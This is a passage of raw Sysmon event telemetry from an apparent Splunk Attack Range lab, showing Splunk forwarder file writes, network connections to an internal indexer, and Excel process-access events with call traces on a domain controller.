Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DEF6438DD94847AD4273BF02A2F92F06,SHA256=8003D9315436ACB2465E3DB9805A1F94F7D0C98857F5F6D2FE4624BDC7336A39,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018242Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:47.639{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ACE42CF4D10B57F8F164B6ECED3DEA60,SHA256=534BDD0C26D56AB0FF38C7C9D383696EC7885A96AE94009DEFB0E698336706A6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:47.277{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B71D96B268C1D4B0F3F267BBE686A24,SHA256=6CA74C595B7FE38044AD7942AD8432BC7C1BC2FA660251A7924CE248FB388D53,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018241Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:46.366{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50412-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018243Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:48.655{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=04872AA8634A48FA1273F3A3EDC293DE,SHA256=548DA4917F4FA99940F0EEC762C4008E033F9112744E17540E9F1A7643824AAE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:48.296{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2C2AD987FDA2676ED6CB18434C4EF1EF,SHA256=21EB94549168503998F931429166759D4AD6225D68FE0BB6A4E39AC4268F4CBF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018244Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:49.671{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2409ABCD5C91AD93957F93D0C25C5AA1,SHA256=CC999548F63D00A0E2E137D86C4C37C62BBDA24ECABC2612D6C13E5D0E4D8514,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:49.314{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ABC2EF0ED0A449A220B3B7499DEF94EB,SHA256=5D3C39E4FBA6B7F60F40810157E7B2B821953B898B7F3DEA136E5DE911D688C2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018245Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:50.702{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC81369877EA4B2C0FCD783E4C5C08E0,SHA256=4761B01AB1A2B2B8E080EB6517A6459E331F2CD7591DCCE82F3D13DBAADED100,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:50.314{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FFED1D4EF2FB0D4F4C514E06E1123A89,SHA256=926A4A2B7C3C39705E1A757DB87BD615B4B448EB65312C3E54B2B2E0C6CB4AAC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018246Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:51.710{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=62A291D185BD834371F2E2FE2ED1CEA7,SHA256=64A2FD0397A9AB874F6F1AFC1111B23D65F585564BF4DA1CE1D6F6894046D930,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:49.450{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63181-false10.0.1.12-8000- 23542300x800000000000000056747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:51.415{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BE1D19B95924AF49A8DE76FB0AB04D85,SHA256=B9C97A280D500406DFF6CD891DBE21F5085135C8ABC10447488CF62A6BBEE3B5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018247Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:52.741{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C0935A53595071E613533C90B0485F9,SHA256=B7EEEAD8AA4E1557AE1C078883E284EC09178C2157F37398593AFD07F4F1E4C3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:52.444{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=698149E13180F9169F22FFB1645BF041,SHA256=D85F0AA669F1A9D04C2BFDF778EE79C3422D19D62622239637C80C43B2FE17AB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:53.992{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:53.512{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CFEA75BEC79160036B1354F546966A6C,SHA256=527DAB165B56D332ACC83E96A6B2E0DD7089E0FDF420C7FA3D1EB1F1A9C7C0C5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018249Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:53.788{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A6465E83881ECC035DF674608732E6E2,SHA256=E1645BAFE07D84344F5E2660ACACF645A917BDB098A5EC9A6C8371418498223C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018248Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:51.522{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50413-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018250Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:54.804{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4AC7958D6BB8157A95E7E0A8084D8D86,SHA256=4FF35709FB46312D67EAB72F1873B4BBC2590442C62A4BE5DFFE38B4FE358D91,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:54.543{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E06ED7E61525FF6997C03E0A0781EADC,SHA256=81138A31985FB680A0EB8965903C5B9263DF387BD4EF23547C8A052794195B98,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018252Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:55.819{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CDCC6359068B09EC4523B0DA75796EA6,SHA256=497E98F5BF783173F1613F06406296ACA11619EF6DDACEE275C0922AE0CEB172,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:55.544{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E196F478069B555C887F6FB7AC7838C3,SHA256=FD3A654185CE6BEB20F297B1F68D84C3823E6023A79205109DBE2DF2BDD54D64,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018251Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:55.272{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018253Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:56.819{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=94B661FAB20FCC24EBDE355122F10595,SHA256=1684444A9D6F38C790F30D86C858C710952161C4AB4D5CE85398987C289FAC11,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:56.628{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=08072D7A144B8399C5FC14A6F45A2137,SHA256=2E3C58526A0F7B501C8D77C3B82887398064FF94A2F04F32BA9762163B5D7615,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000056762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:56.343{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d701|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d817|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2c1a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bae3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bbeb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d54b|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+35133c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+11a5659|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c29e2|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c2b49|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bd814|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+fa155|C:\Program Files\Common Files\Microsoft Shared\Office16\mso30win32client.dll+aa31 10341000x800000000000000056761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:56.343{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d701|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d817|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2c1a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bae3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bbeb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d54b|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+35133c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+11a5659|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c29e2|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c2b49|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bd814|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+fa155|C:\Program Files\Common Files\Microsoft Shared\Office16\mso30win32client.dll+aa31 10341000x800000000000000056760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:56.343{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d701|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d817|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2c1a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bae3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bbeb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d54b|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+35133c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+11a5659|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c29e2|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c2b49|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d 10341000x800000000000000056759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:56.343{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d701|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d817|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2c1a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bae3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bbeb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d54b|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+35133c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+11a5659|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c29e2|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c2b49|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e 10341000x800000000000000056758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:56.328{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d701|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d817|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2c1a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bae3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bbeb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d54b|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+35133c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+11a5659|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c29e2|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c2b49|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bd814|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+fa155|C:\Program Files\Common Files\Microsoft Shared\Office16\mso30win32client.dll+aa31 10341000x800000000000000056757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:56.328{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d701|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d817|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2c1a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bae3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bbeb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d54b|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+35133c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+11a5659|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c29e2|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c2b49|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bd814|C:\Program Files\Common Files\Microsoft Shared\Office16\mso98win32client.dll+fa155|C:\Program Files\Common Files\Microsoft Shared\Office16\mso30win32client.dll+aa31 10341000x800000000000000056756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:56.328{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d701|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d817|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2c1a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bae3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bbeb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d54b|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+35133c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+11a5659|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c29e2|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c2b49|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d 10341000x800000000000000056755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:56.328{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d701|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d817|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2c1a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bae3|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2bbeb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+a2d54b|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+35133c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+11a5659|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c29e2|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+3c2b49|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e 11241100x800000000000000056754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:56.328{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft 